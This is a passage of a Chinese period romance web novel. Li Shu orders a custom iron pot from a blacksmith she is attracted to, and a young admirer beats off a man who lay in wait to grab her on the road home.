这么多人的抵触竟没让他夹着尾巴低调做人，走时还不甘心地口出恶言，“啐！不过就是一碗白水！让你们个个都狗似的舔，我钱三不稀罕！”
这嘴贱得有些不知天高地厚了，他没来得及走到他婆娘那，就被人上手揍了一拳。
王涛收回泛着青筋的拳头，眼中怒火喷射，“你若是能吞下满嘴的粪我还能放过你，但你若是继续嘴贱，可别怪我将你打得满地找牙了！”
倒地捂嘴的钱三此时才有了恐惧，他倒不是怕少年人的怒气，而是怕王涛背后的人。
县里来的这帮佣人大都是从前天灾时迁离原籍的同乡人，在这没有根的地方靠着互帮互助才在平山县安了家，平日里最是团结，若是敢惹其中一个，便是招惹了他们所有人。
钱三不敢怒也不敢言，只哆嗦着爬起来，连眼神都不敢给一个，灰溜溜地便跑了，生怕王涛再给他一拳头。
王涛松了拳头便自顾去休息，他不太敢看身后的清眸，生怕吓到佳人，只克制着压下自己的怒火，找了个地坐下闭目休憩了。
而远处那坐着喝水的监工只悠闲地嗑着瓜子看戏，从头到尾都没有要过来的意思。
那李家看着像是攀上了萧小姐，他们不敢得罪，可也不想帮忙，巴不得李姝他们被挤兑，好出了昨日的恶气。
小人走了，人群终于恢复了平静，木桶中的水不多时便见了底，负责取水的人又跑
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了一趟。
这次李挺居然又跟了来。
方才的事他不知道，父女俩眼神对视了一会，都默契地闭嘴不谈。
李姝想的是还是不要让哥哥担心了，而李忠想得是，晚上回去再说。
显而易见，一家之主的地位还是牢牢地在李挺身上......
李挺过来只是把车子推回去，当事人都没张嘴说方才的事，其他人更是连个字都不提，只有序地排队拿水，最后由李挺把车子推了回去。
而李姝则背着个背篓去了县里，张大头已经认得她和张翠花，熟练地开口：“今日还是要一斤五花肉吗？”
李姝摇头，笑着道：“不，今日要两斤，另外再给我五斤猪板油。”
张大头为了难，“猪板油已经卖完了，要不你去别的摊子瞧瞧？”
只是这猪板油是熬猪油的好东西，每日都是别人争抢着要的，如今这么晚了，怕是其他摊子也早就卖完。
李姝也想到了，正蹙眉沉思，张大头见状不忍，又接着道：“若是你明日还要的话，我留五斤给你。”
猪板油不愁卖，可李姝一家算是老主顾了，虽每日要的肉不多，却是来的最勤快的，张大头不想失去这个客人，便主动帮了忙。
李姝闻言眼睛一亮，“要的，真是太谢谢了。”李姝边说还边掏了钱，问道：“这定金是多少？我先付，明日定会来拿。”
小姑娘敞亮，张大头也没推诿，只回道：“猪板油一斤十二文，五斤六十文，定金收两成，为十二文，五花肉两斤二十文，合计收您三十二文。”
李姝表面上爽快地付了钱，实则心里在滴血，六十文，一天的利润又没了...
然而，她还要再继续花钱。
平山县的街巷很多，李姝不敢走得太深，怕迷路，只在大路边上不深的街道上找铺子。
来来回回问了许多家铁匠铺子，发现定制铁锅的价钱都差不多，差不多的...贵！
一个二十寸的铁锅要两百文，刚赚的钱怕是又要全部花完，李姝有点犹豫，没敢立马定下。
她咬牙离开，本想着过些日子再来，却在北门处看到了张记铁匠铺，她有些不死心地走了进去。
铺内依旧火光十足，热得李姝刚跨进门便差点被热气熏一跟斗，也热得铺内的铁匠脱了上衣。
顿时，四目相对，气氛凝固了......
李姝两眼放光，刚来就脱衣服，不太好吧。
可也就一瞬，张寒铮倏的转过了身，手上有些忙乱地拿衣服，不知道的还以为被调戏了。
李姝反应过来，有些欲盖弥彰地也转了身，眼神却还不舍地往后看。
方才只来得及看到一闪而过的胸膛，她有些意犹未尽的回忆，肌肤在火光下好像有些嫩红？水水润润地，弹性应不错。
她肆无忌惮地对着别人出神，却不知对面的人十分敏锐。
张寒铮耳尖发红，背后的视线灼热得让他连衣袖都找不准，翻来覆去最后竟将衣袖撕了个口子。
“撕拉”一声，在“噼啪”的火光中显得十分突兀，李姝听到了...
49. 第 49 章
张寒铮迅速将衣服套上，几次深呼吸按下明显起伏加剧的胸膛，过了好半晌才恢复平日的神情，转过身来。
入眼却又对上了一双带着明亮笑意的清眸，那清澈的眼神直白又热烈，像是将他看了个透。
他霎时垂眸，掩住了眼底一晃而过的暗流，打好的腹稿在喉间上下滚动了两回，却都未说出口。
还是李姝忍着笑打破了尴尬的气氛：“掌柜的，我想问问打一个二十寸的铁锅需要多少银钱？”
她这一问，囫囵把方才的尴尬粗暴揭过，反倒显得有些欲盖弥彰。
只是身处尴尬的人却的确需要这么一个台阶。
“咳咳”张寒铮清了清嗓，恢复了平日的冷静，只声音却比平日低沉了许多，“唔，二百文。”
果然，每家铺子的价格差不离，李姝有些失望，正犹豫着要不要定下，对面的人看出了她未出口的为难，低沉的声音再次响起，“若是暂时没有这么多钱，可先赊一半。”
李姝诧异地抬眸，啊？还能这样？
像是知道她的内心所想，对面的人又接着道：“当然，是有条件的。”
原来如此，李姝好奇问道：“什么条件？”
什么条件，张寒铮一时哽住，他还没想好。
于是只好转移话题，黑眸主动微抬，幽深的眼底像是能惑人心神，“你想定做什么样的？”
李姝思绪一时被带走了，顺着他的话道：“样子和一般的铁锅不一样，我想要做个平底的，模样有些像砂锅，另外锅沿下两到三寸的位置我想做一个能卡住蒸笼的折边。”
见张寒铮拧眉似是不解，她又接着道：“有没有纸笔，我可以画出来。”
“像是这样往里平折半寸，再往上，做出一个折角，这样就可以...”李姝边说边把纸张递出，试图让张寒铮接过看看她画得是什么。
可这人竟没伸手接，而是直接在半米外低头凑近，就着李姝的手扭头看着。
明明他凑得并不算近，她却精准的感受到了灼热的气息，霸道又猝不及防地贴近，惹得她呼吸一滞，心跳像是漏了半拍，眼睛直盯着那微翘的睫毛一动不动，连呼吸都不自觉放轻了许多。
还没等她反应过来后退，手中的纸张便被接了过去，顿时，停滞的空气像是重新流动了起来，热气也缓慢散开。
不对，李姝轻呼一口气，忍住了想要用手扇风的动作，屋内好像又更热了些。
连孩童还不如的画工都没让李姝有半分羞意，此时却被对面的人低头凑近时带动的气息染红了脸颊。
张寒铮站直了身，全程都低头看着纸张，仿佛并未在意方才的凑近，一心只扑在铁锅的设计上。
可若是李姝仔细观察，便会发现对面那人盯着纸上一个地方瞧了许久也未错开，神思早就不在纸上。
而李姝...方才还大大方方地在内心评论别人的身材，此时却被这不经意的动作给撩得晃了神，哪里还顾得上观察。
张寒铮掩住眼底幽处隐藏的笑意，开口问道：“就什么？”
李姝回神，对面的人眉眼平静，神色自然，捏着纸瞧着十分认真，整个人要多正经有多正经。
她顿时有些不自在地捏了捏袖子，将刚才一瞬间闪过的“邪念”收回，尴尬地笑道：“就可以卡住蒸笼了。”
“这锅你打算怎么固定？砌灶的话你怕是拉不动那车子。”张寒铮收回眼中的笑意，神色认真道。
说到正事，李姝也没再忸怩，“我打算底下放一个可以烧炭的火盆。”
只是她还是想得太简单了，张寒铮一眼便瞧出了问题，“这锅定的太大了，做小些吧，不然会很重。”
要放锅，还要放火盆和炭，还得放蒸笼，看这样子还要装水，加起来的重量一人怕是要拉不动车子了，锅若是做得大，更是难拉。
李姝眨了眨眼睛，难得露出了一丝清澈的愚蠢，“那，你觉得做多大好？”
扑闪的眼睛单纯又乖巧，这是平日里李姝对自家爹娘的神态，配上她这张无辜的脸，总算是像一个十四岁的少女了。
张寒铮垂眸将注意力拉回纸上，声音有些飘忽，“十寸左右吧。”定了定又说：“那火盆我也可以一起做了，正好可以和锅做一套。”
说罢抬眸，漆黑的眸子定定看着李姝，话说得不容置疑的，眼底却带着些小心，像是在征求她的同意。
李姝...
我是想同意，可是这价钱...
以她目前这一两文钱的赚钱速度，还不是能为帅哥砸钱的时候。
于是她理智稍回，问道：“这一套的价钱是？”
“一百八十文。”李姝话音刚落便得到了肯定的答复，急切得像是生怕她不同意。
这价钱倒是没超出预期，她终于点头，扬起唇角回道：“那便拜托掌柜的了。”
“对了，方才你说的条件是什么？”本想伸手掏定金的李姝终于想起自己身上的钱并不多，默默收回了手厚着脸皮扯回了一开始的话题。
张寒铮微微一愣，又霎时勾起一抹浅笑，悠悠道：“唔，往后你若是还要做铁具，便都交给我做如何？”
原来是奔着长期合作来的，李姝顿时松了一口气，语气爽快道：“自然可以。”
只是当时的她没想到，一没契书二没见证人的情况下，这种口头约定比渣男的海誓山盟还不牢靠，哪有人会这么傻的提这种条件呢？
怕是只有她这个被别人的笑容帅迷眼的颜狗才会信了。
自己悄摸地又花了几百文钱，李姝到家之后愣是没敢说，只有些鹌鹑地想着等拿货那日再提，届时爹娘再气也不会多说什么了。
只是她不提这事，却忘了今日还有别的事没有交代。
李挺熟悉的拧眉怒目，对着自家妹妹威严尽显，“你如今胆子是越发大了！”
李姝不敢在老虎头上拔毛，只眼角斜瞥着自家亲爹，眼里的怨气快比得上她哥的怒气了。
爹，你这个叛徒！
李忠低头喝水，避开了自家女儿的眼神。
姝儿啊，挨两句就过去了，很快的，你哥舍不
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得骂你太久。
李挺有些后悔自己当时走了，若是他还在，定是不会让姝儿张嘴，不是他觉得自家妹妹没用，而是那无赖欺软怕硬，他不敢得罪比他强壮的男人，怕是会将怨气发泄到姝儿身上，李挺怕他往后会给自家妹妹使绊子。
妹妹聪敏，却还是透着不谙世事的单纯，平日里见谁都是好脸，并不会主动提防别人，若是真的被使绊子，怕是一时半会也反应不过来，届时定是会受委屈。
李挺打定主意让她长记性，继续沉着脸道：“爹在，周围也全是站在我们家这边的人，哪里轮得到你出头了？你一个软弱可欺的小丫头，出头只会成为靶子，这个道理你竟也不懂吗？”
这话让本来还觉得无关紧要的李忠蹙起了眉，他没想这么多，姝儿不过是说了句刺话，本不应被记恨的。
可儿子这一番话却让他醒悟了，他顿时想到了里长家的清芸，那脸上的淤青能刺痛每个父亲的心，如今想起来还心有余悸，他神色紧张了起来，“姝儿，听你哥的，记得，往后若是有事定要喊爹。”
张翠花在一旁担忧得直抽气，拉着李姝的手心疼道：“姝儿，要不你下回还是别去了，娘去就好，对了那水咱也别送了吧？都是这水惹得祸，送水反倒给我们惹了麻烦。”
李挺......
本想着吓一吓自家妹妹，好让她长长记性，哪知自家爹娘先恐慌了起来。
而本该被吓到的李姝，反倒成了安慰的人，“爹，娘，哥哥只是说有这个可能，钱三不一定会真的拿我撒气，
况且周围那么多人，只要我小心些不去招惹他，他定是不敢的。”
眼见爹娘没有松口，李姝拿出杀手锏，眨着眼睛冲着她娘撒娇道：“我错了，下回定不会这般冲动了，就让我去吧。”
两人被她磨得没办法，女儿许久不撒娇了，如今来这么一回，瞬间就被俘获了，指哪打哪，还有什么不能答应的。
李挺......
他无奈地看着被灌迷魂汤的爹娘，默默闭了嘴。
算了，等会到书房再说，在这说下去怕是又要惹得爹娘担忧，妹妹聪慧不少，自己的话她定是能明白的。
这想法倒是和自家妹妹不谋而合，李姝只能先哄爹娘，哥哥的话她听进去了，也明白了他的担忧，她并非不在意，毕竟这个时代的人的底线可不是法律来守的。
爹娘哄好了，哥哥也得哄，李姝夹起一块肉往自家哥哥碗里放，笑得有些讨好：“哥，特意给你做的五花肉，你快尝尝！”
李挺没好气地瞥了自家妹妹一眼，还是心软夹起来放进了口中。
入口后对着自家妹妹投去赞赏的眼神，这肉比他预期的更好。
上回那猪头肉他已经见识到自家妹妹琢磨吃食的能力有多强，如今这五花肉味道更甚。
肥肉软糯，瘦肉不柴，入口后整个口腔都是浓厚的酱香味，他忍不住又夹了一块，入口，肥而不腻，越嚼越香。
美味的口感让他的心情瞬间平复，李姝松了口气，很好，又哄好了一个。
50. 第 50 章
吃食已经卖完，只剩下昨日那女子订的二十个素馅饼。
本以为昨日那群人还没来，李姝想等一等他们，便在工地没有走。
谁知她爹却说昨日那群人早早便经过了这里。
李忠边呼噜着米饭边说：“他们还在这里装了两坛子水，其中一人嚷嚷着水这么少是不是知县批的水费不够，还说待他今日回去定要和知县反应。”
李姝闻言轻笑一声，心中对昨日那女子满是赞赏。
昨日听那监工行礼，只有那个三公子的称呼最是独特，每猜错的话，他应是知县的亲子侄。
女子让那个三公子去打的水，怕也是因为他的身份，这样既不让自己被记恨，又借着别人的手敲打了故意磋磨工人的监工。
至于那三公子，既然是知县亲子侄，监工巴结都来不及，又怎么会怨怼？
而李姝一家，昨日那女子和自己交谈，在外人眼中自是有了靠山，监工应会有所顾忌，不敢再惹麻烦，至少能平静一段日子。
最好他们明日再来一回，说水还是不够，那往后这工地怕是再也不会缺水了。
只是...
李姝低头看了看专门腾出来的饼子，这乡野吃食怕是入不了他们这些少爷小姐的眼，没准早已忘了。
李忠在囫囵进食中抽空抬头看向女儿，终于想起了昨日的异常，“姝儿，昨日那女子你是怎么认识的？”
“我不认识她，许是她恰好饿了，见到我篓中的饼子便过来问了两句，所以昨日她才订了这二十个饼子。”
李姝没说更多，其中的弯弯绕绕还是别喝爹娘说的好，怕他们担心。
“他们怕是没那么快回来，要不你把这饼子放在这，等他们回来了，爹帮你给。”
李忠也是和自家女儿想的一样，昨日那群人瞧着便是非富即贵，平日里吃什么都有丫鬟仆人帮着做帮着买，这种小事怕是不会放在心上。
“爹我再等等，一刻钟后他们若是还没来，我便放在这里交由您，他们不取我们晚上拿回去自己吃。”
不知怎地，李姝想起了昨日那女子勒马慢行的利落，这样的女子内心应是温柔的，她还是下意识觉得可能是有事耽搁了。
她想得没错，萧青璃确实是被耽搁了。
是被一群冒冒失失的蠢货耽搁的...
昨日他们回去后定了计划，约着早点摸到练功山上蹲守，昨日那道士应是没找到匪窝，今日定会再来。
他们又不懂五行八卦，肯定不如道士找得快。
山上这么大，只要他们找个地方先躲起来，届时远远跟着就好，若是找到了贼匪窝，他们跟着冲进去也算是帮了忙。
只是想法虽好，却抵不住有猪队友。
明明一群人躲得好好的，挤在草丛中虽然有些挤，可愣是没有被发现。
但常青非得犯贱挠屁股，一手肘戳在了后面窦子恒的脸上，窦子恒瞬间炸了，一时间竟忘了他们在潜伏...
于是，他们几人被提溜站了一排，个个灰头土脸，秦二无妄之灾，脸上还划了道口子。
萧青璃......
她瞬间懂了之前她爹对她说成事不足败事有余的无奈了。
她咧着嘴，笑得十分乖巧，“全叔，我们再也不敢了，不要告诉我爹好不好。”
常青和秦大两个不识趣的，立马跟着接了话：“还有我爹，我爹揍人可疼了。”
全叔......
他是萧慎的亲卫，算是看着这帮皮上天的小崽子长大的，平日里萧慎懒得管他们，又怕这一帮不知道轻重的小崽子在军营中闯祸，就总是把自己丢过去当爹又当娘，他对他们这几人了如指掌。
别看他们现在乖巧，转个头就能把话当耳旁风，要是就这么放了他们，怕是不注意又得跟在屁股后面。
“就该让你爹揍你！书院昨日不是才询假吗？你们逃课就算了，跑来这里裹什么乱？还有，你们是怎么跑来这的，山脚的守卫竟敢放你们进来？”
一连串的问题没得到一个回答，这回答哪一句都要被揍，一群人瞬间蔫了。
萧青璃正要糊弄过去，谁知全叔这老狐狸直接点名，“常青，你来说！不说就告诉你爹！”
萧青璃转头悄悄使眼色，可常青虽知道要糊弄，他这一根筋的脑子却转不过弯来，磕磕绊绊地就被套了话...
这下连供词都有了，萧全总算放过了他们，还特意派了人盯着，让那刚招的新兵立了军令状，务必将他们一群人送回书院，没完成就提头来见。
不得不说这招能把萧青璃他们治的死死的，想等会悄悄重来的心思顿时歇了，这新兵一看就是个实心眼的，怕是真的会提头去见。
于是，一群人只能内心骂骂咧咧地下了山，他们不知道的是，那山脚下的守兵在他们走后都被罚了，萧都尉治下，从来没有懈怠的士兵。
“连全叔都来了，今日没准就能找到匪窝。”秦二对剿灭匪窝有着极度的热情，话语中满是不舍，就想撺掇着他们这一群人返回。
身后的新兵闻言一脸紧张地看着他，脸上的表情都快要哭了，随时准备着要跪下拦人。
萧青璃没好气地瞥了常青，“你非得挠那一爪子？”又转头看向窦子恒，“你非得这时候炸？”
窦子恒一脸委屈，“是他突然来这一下，我哪反应得过来？”
罪魁祸首则是一脸无辜，“挠痒痒让我怎么忍？”
这话一出，窦子恒的委屈瞬间找到了发泄口，“你早上拉屎没擦屁股啊，这么招蚊子？”
“窦子恒！”
秦大还在一旁适时补充，“成事不足败事有余！”
......
眼看大战一触即发，萧青璃翻了个白眼，她就知道，人一多总能出事。
“够了！”谁知这一嗓子没什么效果，萧青璃又补了一句：“下回再去！”
一句话瞬间让争吵停了下来，秦二两眼放光，立马接道：“什么时候？”说着连缰绳都拉直了，一副随时准备掉头的模样。
“今日不去。”
“可今日他们...”
萧青璃笃定打断，“今日他们应找不到。”那道士一直蹙眉，一会儿指使着往西走一会儿又往东走，怕不是个本事稀松的，定是没那么快找到。
这么一解释，也算是安抚了众人，只是后面跟着的那个新兵却欲哭无泪，这是我应该听的吗...
李姝终于在工地等到了萧青璃一群人，今日他们带的东西更多，竟是人人都背着弓箭，身后随从还拿了些绳索、刈刀等工具。
这是去做什么了？打猎？
李姝不动声色地打量着，他们是从南边回来的，那边的村子...
她突然想到了昨日哥哥说的贼匪，难道，是真的？
只是瞧着这一群人兴致缺缺的晃着马走，身上也并未有衣衫破损，不像是遇到贼匪的模样。
萧青璃今日被扫了兴致，不想再说话，只示意随从找李姝拿了饼，见李姝不像是要回去的模样，便主动在远处扬声问了问：“可是去县里？要不要我送你一程？”
李姝摇头拒绝，“不用了，我骑不惯马。”
萧青璃没再多说什么，拿了饼分了便走了。
刚走出不远，还能听到他们说话的声音传来，“阿璃，这什么玩意？面还挺有韧劲，像是从前在太原吃过的。”
“忘了。”
李姝...
白送了。
今日的水已经送完，她娘也推着车子回去了，趁着天气还不算冷，张翠花忙着要去山上砍些柴。
往日这些活都是李忠干的，可如今李忠忙着修路，只能她先备着些，日后李忠也可以减少些担子。
至于李姝，她还要去县里搬那五斤猪板油...
工地又恢复了安静，只是李姝不知道的是，她哥担心的没错，钱三确实将昨日丢的脸全都归于她身上。
可他一时不敢动手，方才萧青璃熟稔地和李姝打招呼也让钱三有些顾忌，只是眼中的不忿却还是露了出来。<
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他盯着李姝走远的背影，眼珠子不停地左右转，半晌眼中厉色一闪，勾起了一抹阴狠的笑。
申时正，正是下工之时。
众人纷纷收拾东西，拖着疲惫的身子各自回家。
钱三摊在路边喘气，一副体力用尽的模样，同村的人叫他，也不见他应，渐渐地，工地上没了人。
他起身，左右瞧了瞧，确定没人后便往县城北门方向走，他远远地缀在众人后面，小心翼翼地怕人发现。
约莫到景石村路段时，找了个草丛扎了进去。
寅时正，路上已经彻底没了人，偶尔间隔一两刻钟会有人经过，这么长时间的间隔，已经够了。
钱三窝在一簇草丛后，日暮降临，树影和人影合为一体，没有人发现路边竟是窝了一个人，他在等一个人出现。
越是接近落日，他越兴奋，双眼紧紧盯着拐弯处，眼中不时闪着黏腻的精光。
终于，他隐约像是看到了一个背着背篓的人拐过弯来，他有些小心地放低了呼吸，双手悄悄拨开了草丛，整个人蹲在地上，准备往外扑。
人影终于走近，他来不及再看来人是不是李姝，就直接扑上去一把抓住了来人的手腕，硬是要将人往草丛里拖。
拖了半晌，他才后知后觉地发现，竟然拖不动。
他回身，发现身后的人竟比他高，视线上移，一张怒目咬牙的脸映入眼中。
“噗！”一阵疼痛瞬间从眼睛处传来，还没来得及回拳，手中抓着的手腕一翻，局势反转，他的手臂被折在了后背。
“啊！”钻心的疼传来，他挣扎了半晌，挣不动，反而越来越痛。
他忍不住求饶，“饶命，饶命啊！”
身后的人竟真的放了手，只是还没等钱三转身，便又被踹了一屁股，力道大得让他的脸直接着地，扑了个满怀。
还没喘过气，身后人的拳头再次落在了他身上，钱三忍不住抱头，嘴上不停求饶：“好汉饶命，好汉饶命，都是误会，是我抓错了，饶命，饶命啊！”
他的话让站在地上的更加火大，“抓错了？那你本来是想抓谁？！”
这个声音！
钱三突然被激出了血性，一个翻身把身后的人扫倒在地，他灵活地跨在那人身上，终于看清了来人的面孔。
“王涛！竟然是你！”钱三没想到，揍了他半晌的人，居然是平日里闷声不说话的傻小子王涛，仗着自己成年男子的重量，他不太怕王涛。
他死命压住王涛的手，整个人不停地往下压，没有手再揍人，便用嘴说些恶心人的话：“还能抓谁？不就是抓你那个心上人李姝吗？
啐，有贼心没狗胆的怂货，平日里干活都忙前忙后地帮李忠，怕是早就想把人家女儿拉回家了吧？
哥哥我今日帮你一把，那浑身没二两肉的丫头哥哥不稀罕，便让给你如...”
还没说完，再次被激怒的王涛瞬间翻了身，骑在钱三身上又揍了一拳，钱三顿时没了说话的间隙，两人扑打在地，扬起一地的灰。
到底王涛年轻，钱三只打了半刻钟便没了力气，最后被王涛揍得满地求饶。
王涛手中青筋暴起，脸色发红，少年人义无反顾的怒气不是所有人都能接住的。
他脚踩在钱三身上，居高临下，仿若煞神，“往后若是再让我瞧见你敢打她的主意，我便让你再也起不来，可听清楚了？”
“听清楚了，我再也不敢了，再也不敢了。”钱三抱着腿求饶。
他是真的怕了，王涛下手没有轻重，已经把他浑身都踹了个青紫，眼睛也模糊了不少，怕是已经肿了。
“滚！”
看着哆哆嗦嗦躺在地上的男人，王涛最后踹了一脚，终于放开了他。
浑身抖的男人一下没站起来，赶忙往前爬了一段，才在路边摸了跟木棍撑着身子，头也不回地走了，生怕身后的男人再追上来。
身后，迟迟未来的李姝终于出现在了拐弯处，王涛神色一松，压下周身的戾气，抬脚迎了上去。
51. 第 51 章
“王涛？你怎么在这？”李姝一脸惊奇，这个时辰，他们不是应早就回家了吗？
“我，我方才去景石村找人，回来便晚了点。”王涛有些心虚地笑了笑，眼角还时不时地看向身侧，想看钱三走远了没有。
李姝歪头顺着他的方向往前看，空荡荡的路上并没有人。
这是怎地了，这般慌张？
“是不是遇上什么事了？”李姝瞧着他身上被尘土铺满的短袍，像是比平日里脏了许多？
王涛被看得局促了起来，嘴角扯得有些尴尬，“没事。”怕李姝再追问，只好先发制人，“你怎地这么晚回？”
李姝更奇怪了，“我日日都是这个时辰回。”况且以她的脚力算下来，她在县里待得应不超过半个时辰吧？
“呵，呵，是吗？”王涛挠了挠头，又突然上手要接李姝的背篓，“今日无事，我送你回去吧？”
这么反常，李姝就算是个傻子都能猜出来是有事了。
只是直接问怕是什么都问不出来，李姝只好不动声色地观察，也没拒绝王涛突如其来的关心。
两人并排往桃李村的方向走着，一时无话。
只是还没走多久，李姝侧头，有些无奈，刻意走得慢就算了，走十步望八步是怎么回事，“你在看什么？”
王涛不想对着李姝扯谎，只好装傻，“嗯？什么？”
心虚地人不敢对视，只好转头看着路边的杂草，紧绷的下颚却暴露了他的紧张。
李姝停下了脚步，下巴微抬，脸上的神情是王涛从未见过的严肃，皱起的眉头下双目沉静，“刚刚你遇到了谁？”
李姝的声音带着些冷意，王涛的目光一路上都警惕地四处逡巡，还刻意拖慢她的步子，一看便知道他方才是遇到了什么人，而更让李姝笃定的，是方才侧身时他下颚处的淤青。
王涛沉默，少年人有他自己的执拗，可李姝不用他交代，也大致知道了什么。
“是贼匪？”李姝边说边观察他的神色，“还是，钱三？”
被猜中的人神色微动，眼中的诧异一闪而过，她如何会知道？
“钱三方才在这里想要堵我是吗？”李姝本不会这么敏感，可昨晚自家哥哥给她提了个醒，让她下意识便想到了钱三。
“姝，小，额，李小姐...”王涛开口有些烫嘴，一时竟不知该怎么称呼李姝。
“你可以叫我李姝，也可以叫我小姝，或者你乐意怎么叫都行。”
王涛脱口而出，“小姝，”说罢又看了看李姝的脸色，发现李姝确实不在意，方才接着说：“你不用害怕，我方才已经把他揍了一顿，他应不敢再招惹你了。”
“揍得狠吗？”
王涛一脸无措，什么？
李姝捏紧了拳头，面色愤然，“要是揍得不够狠，下回再揍他一顿，记得叫上我！”
这种人，若是比他强势，他便处处恶心你，若是比他弱势，他便会狗闻到屎一般黏上你，让你甩也甩不掉。
不如打到他服，打到他再也不敢靠近你为止。
王涛反应过来，嘿笑一声，飞扬的眉梢带着些得意，“揍得十分狠，怕是不用你出手了。”
李姝轻笑出声，“干得好！”随后又敛了神色认真道：“多谢你了，若不是你发现，我今日怕是要吃亏。”
被感谢的人反而有些不好意思。
李姝怕是自己从未发现，她与人说话时总是直白地看着别人的眼睛，灵动的双眸多数时候都是笑意盈盈地，让人瞧着不自觉便被带动了情绪。
王涛只对视了一秒便移开了视线，咕咚咕咚地心跳吵得他有些躁动，只好胡乱笑了笑用以回应，掩盖他乱了节奏的呼吸。
李姝看出了他的紧张，于是收回了目光，借机换了个话题，“你是怎么知道钱三会来堵我的？”
这话让王涛稍稍松了口气，他暗暗清了清嗓子，答道：“你走时，他在身后一直瞧着你，被我看到了，
平日里他下工最是积极，定是连最后一块石头都不会搬，今日却反常的没有走，还十分鬼祟地跟在我们后面，于是我假装走后又折返了回来。”
李姝眼中带着夸赞，“王涛，你观察得真仔细，可见你平日里是个十分细心的人。”
王涛下意识挠了挠头，方才一长串的话让他放松了不少，此时又被心上人这般夸赞，顿时便恢复了些平日的活泼。
“小姝，你过奖了。”明明是一句谦逊的话，神情却是带着些被夸赞的暗爽，李姝悄悄抿嘴笑了，没有拆穿，只继续道：“我瞧着你年纪也不大，为何没有去书院读书？”
“我爹去世的早，家中就我一个男丁，自然是要赚钱养家。”王涛神色平静地将家中情况道出，没有自苦没有自嘲，仿佛早已习惯。
“你真厉害！”
本以为会收到千篇一律的安慰，却没想到是这么一句话，王涛面色一怔，眼中划过一丝意外。
而李姝则暗暗绷紧了神经，差点就把天聊死了，她只好使出浑身解数开始提供情绪价值，“我们年龄相仿，你却已经能靠自己双手养活一家人，真是让人佩服。”
王涛嘴角微扬，李姝继续下猛药，“怪不得你行事如此沉稳，原来竟是早就担起了家中重担。”
被夸的人眼神闪烁，“我，我也没这么好。”
“怎么不好？如果是我，怕是早就让我娘饿死了。”这话好像不太对，李姝急忙找补，“额，我娘也没这么容易饿死，她不挑嘴。”
这怎么好像还是不对，“我不是说你娘挑嘴，我是说...”
“呵呵。”王涛被逗得扬起了笑，恢复了少年人的爽朗与活泼，眼中带着戏谑，“我知道，我娘也不挑嘴。”
呵呵，呵呵，这也不太好笑。
气氛恢复了轻松自在，王涛大着胆子起了个话题，“小姝，你平日里就喜欢琢磨吃食吗？”
“也不是，我平日里大都是窝在家里看书练字。”李姝话说得脸不红心不跳，说完还不过瘾，又接着说：“每日还会教婶子家的弟弟读书习字，他可喜欢我让我教了。”
王涛小伙子没发现任何
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异常，毕竟李姝有个秀才哥哥，妹妹喜欢看书也没什么毛病，家学渊源嘛。
他毫不知情地接着问道：“你平日里都看些什么书？”
什么书？重生之XXX，我在古代XXX，穿书后XXX，嫡女，庶女，真假千金，什么狗血看什么。
“唔，也就是些游记之类的。”李姝大言不惭地胡说八道，抬眼瞧见王涛拧眉听得十分认真，终于咧嘴笑了笑说：“骗你的，我如今只在认字，看的是孩童时便学的三百千。”
眼前的女子笑得清澈又狡黠，王涛一时愣住了神，只一瞬便反应过来，眉梢微挑，嘴角上扬，笑得肩膀都抖了起来。
“哈哈哈哈，怕不是小时不学好，因此到如今还在学孩童启蒙书吧？”
李姝......
倒也不用猜得这么准...
嘶，哎哟，这是什么？
身边的少女只抿嘴不说话，低头的模样像是泛着些许羞意，王涛顿时反应过来自己笑得有些大声。
他敛了敛嘴角，有些马后炮地找补，“读书什么时候都不晚，如今你能静心从头苦学，已是难得。”
王涛自觉自己也只过了启蒙便未再读书，说不出什么大道理，便拿自己开涮安慰佳人，“我如今看书便头晕，还不如...”
被路边尖锐的石头挤到脚底的李姝暗暗低头，疼得有些龇牙咧嘴，这鞋也不知道穿了多久了，娘如今只记得给爹纳鞋，怕是早忘了自己还有女儿儿子。
想脱鞋看看脚底板吧，好像又不太好，李姝只好默默跺了跺脚，又不动声色地碾了碾地，嗯，不疼，应该没事。
才刚回神就听到王涛说自己看书头晕，不知道前因后果的李姝便有些棒槌地反口安慰起王涛，“我看书也头晕，不是什么大事，大不了多看几本图画书适应适应。”
连标点符号都没有，看着不眼晕才怪。
这摆手坦然的模样瞧着也不需要被安慰，王涛顿时咽下了未说完的话，被眼前可爱又肆意的少女逗得重新染了笑意，只盼望着这路一直不要走完的好。
只是...
“王涛？王涛！”王涛沉浸在自己的思绪中，直至肩膀上传来轻拍的提醒。
他有些疑惑转头，李姝指了指右侧的路口，“到了。”
路是不可能走不完的。
他有些不舍地放下背篓，看着李姝几次有些欲言又止，最后也只说了句：“明日我还送你可好？”
李姝心下暗叹，面上却仍然装作不知，“不用了，明日我和我娘一道去县里。”
“对了...”
刚失望转身的人立马回头，眼中带着希冀。
“今日多谢你了，我如今没有什么能报答的，日后你若是有用得上我的地方，无论什么事，我一定尽全力相帮。”
少年眼中的光瞬间暗淡，王涛勉强扯起一抹苦涩的笑容，低声回了句：“好。”
看着没了方才活泼神态的背影，李姝心下暗骂自己渣女，王涛啊，初恋是没有好结果的，希望你快点放下吧。
52. 第 52 章
李姝神色如常地回了家，没和爹娘提钱三的事。
李忠忙着把生柴劈砍成段，再垒在院子一角，只待来年春季雨水多时用，张翠花则忙着给萝卜间苗。
“爹，娘，我今日买了些猪板油。”
张翠花利落地挑苗拔苗，闻言停下了动作，“买了多少？”
“五斤多。”李姝把背篓卸在了院中的井边，随后又进灶房拿了个大盆出来，将今日买的猪肉一股脑倒了进去。
李忠在一旁转头瞧着，“豁，这白花花的板油，还厚实，姝儿挑的不错。”
“这么多？猪板油可难抢，姝儿，可还是在那个张屠户那买的？”不怪张翠花大惊小怪，平日里自己都得早早去县里才能抢到，自家女儿午后去的却能买到五斤。
“哗！”李姝打了桶井水倒在木盆中，便在一旁蹲下开始冲洗猪肉，边洗边答：“对，张屠户特意给我留的，昨日便给了定金。”
“那张屠户人倒是不错，姝儿，你洗好放在井边晾着，等会娘来熬。”这猪油熬不好容易糊，张翠花厨艺虽不行，可熬猪油确是从未出错。
“好。”李姝正有此意，她没熬过猪油，不太敢打包票，还是让娘做的好。
天色渐晚，李忠率先去了澡房，灶房噼里啪啦地响起声音，“娘，这便可以了吗？”
此时锅中猪油已十分清亮，满屋都飘着诱人的香味，怪不得猪油能传承几千年屹立不倒，这味道也太香了。
“嗯，可以了。”张翠花示意李姝拿油罐，开始一勺一勺地舀猪油。
